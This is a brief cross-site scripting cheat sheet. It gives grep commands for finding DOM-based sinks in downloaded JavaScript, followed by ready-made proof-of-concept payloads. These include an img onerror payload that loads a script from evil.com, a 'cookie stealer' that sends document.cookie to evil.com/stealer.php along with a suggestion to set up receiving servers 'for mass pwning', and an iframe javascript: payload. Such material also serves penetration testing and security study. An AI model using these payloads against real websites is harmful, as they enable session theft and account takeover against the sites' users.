XSS Tips

---

DOM Based

• Hunting (do this where downloaded JS folder is)
  • Simple document.write search:

    grep -r "document.write" ./ --include "*.html"
    

  • If the user input is a variable from another js, search the variable with <VARIABLE>
    • note: there could the a space between the variable being assigned and the '=' sign\

      grep -ER "<VARIABLE>[ ]+=" ./
      

Quick PoC Payloads

• img tag to CSRF

  <img src=a onerror="x=document.createElement('script');x.src='https://evil.com/really_evil.js';document.body.appendChild(x)" />
  

• Class cookie stealer
  • You may setup receiving servers, APIs, webhook for mass pwning

    <img src=a onerror="location.href='https://evil.com/stealer.php?cookie='+document.cookie;">
    

• iFrame

  <iframe src="javascript:alert(1)">
